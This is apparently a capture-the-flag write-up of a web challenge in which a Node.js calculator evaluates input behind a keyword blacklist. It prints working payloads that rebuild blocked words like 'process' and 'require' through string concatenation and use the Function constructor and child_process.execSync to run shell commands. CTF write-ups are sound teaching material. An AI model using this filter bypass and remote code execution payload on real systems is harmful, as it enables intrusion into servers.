//Calculator
>Challenge Description
Name: Calculator
Category: Web
Goal: Retrieve the flag from a remote calculator application.
The challenge presents us with a simple calculator web interface. We are provided with a URL and told there are no local files to download initially.
>1. Reconnaissance & Analysis
Upon visiting the website, we see a functional calculator. Standard operations like addition and subtraction work as expected.
Client-Side Logic
Inspecting the page source reveals a bundle.js file. A quick analysis (or formatting) of this file shows how the frontend works:
document.querySelector(".equals").onclick = async () => {
const expr = output.value;
// Client-side filter
const blocked = /['"\[\]\{\}]/;
if (blocked.test(expr)) {
alert("Blocked characters detected!");
return;
}
// ... fetch call to /calculate ...
};
There is a client-side regex check ['"\[\]\{\}] that prevents us from sending quotes, brackets, or braces. If passed, it sends a POST request to /calculate with the expression in a JSON body: {"expr": "1+1"}.
Server-Side Behavior
Since client-side checks can be easily bypassed (using curl, Python, or a proxy like Burp Suite), our main focus is the backend.
We tested a few payloads to identify the backend technology:
-
1+1->2 -
1/0->null. In Python1/0raises an error, but in JavaScript/Node.js,1/0isInfinity. However,JSON.stringify(Infinity)results innull. This strongly suggests a Node.js backend. -
Sending
processresulted in{"error": "Blocked keyword"}.
This confirms two things:
-
The backend is likely Node.js.
-
There is a server-side blacklist/filter protecting against RCE (Remote Code Execution).
>2. Vulnerability Assessment
The application blindly evaluates mathematical expressions. In Node.js, this is often done using eval() or new Function(). Both are dangerous and can lead to RCE if inputs aren't strictly sanitized.
We verified the blacklist by sending various keywords:
-
process-> Blocked -
require-> Blocked -
constructor-> Blocked -
exec-> Blocked
However, the server allows string concatenation and properties if we can construct them without using the literal keywords.
>3. Exploitation
Bypassing Client-Side Filters
We wrote a simple Python script to interact with the API directly, completely ignoring the browser's regex checks.
import requests
requests.post("http://ctf.nexus-security.club:3067/calculate", json={"expr": "YOUR_PAYLOAD"})
Bypassing Server-Side Filters
The goal is to get a shell or read the flag. In Node.js, we typically want to access process or require('child_process') to run system commands.
Attempts & Refinement:
- Accessing
Functionconstructor:
Usually (1).constructor gives us the Number constructor, and (1).constructor.constructor gives us the Function constructor.
* Payload: (1).constructor -> Blocked.
* Bypass: Property access using square brackets with concatenated strings!
* New Payload: (1)["const"+"ructor"] -> Works!
- Creating a Function:
We want to create a function that returns the process object.
* Goal: Function("return process")()
* Payload: (1)["const"+"ructor"]["const"+"ructor"]("return process")()
* Result: Blocked keyword (because "process" is in the string).
* Bypass: Split the string inside the function body.
* New Payload: (1)["const"+"ructor"]["const"+"ructor"]("return pro"+"cess")()
* Result: Invalid expression or error (likely because process is a complex object and sending it back via JSON causes a crash or circular reference error).
- Executing Code:
Instead of returning the process object, let's just use it inside our remote logic to require child_process and execute a command.
We need: process.mainModule.require('child_process').execSync('command')
Applying our string-splitting bypass to every sensitive keyword:
* process -> "pro"+"cess"
* require -> "re"+"quire"
* child_process -> "child_pro"+"cess"
We crafted a payload that executes ls -la and converts the output to a string (so it allows JSON serialization).
4. Final Payload
Here is the final constructed payload. We wrap it in a try...catch block to handle any errors gracefully and return them as strings throughout the API response.
Objective: cat flag.txt
(1)["const"+"ructor"]["const"+"ructor"](
"try { return pro"+"cess.mainModule.re"+"quire('child_pro'+'cess').execSync('cat f'+'lag.txt').toString() } catch(e) { return e.toString() }"
)()
One-liner representation:
(1)["const"+"ructor"]["const"+"ructor"]("try { return pro"+"cess.mainModule.re"+"quire(\"child_pro\"+\"cess\").execSync(\"cat f\"+\"lag.txt\").toString() } catch(e) { return e.toString() }")()
>Result
Sending the payload yielded the flag:
nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}
>Conclusion
This challenge demonstrated that blacklists are rarely sufficient for securing code injection vulnerabilities. By understanding the underlying language features (like JavaScript's dynamic property access and string concatenation), we were able to reconstruct blocked keywords and achieve full Remote Code Execution.
![[Pasted image 20251212032122.png]]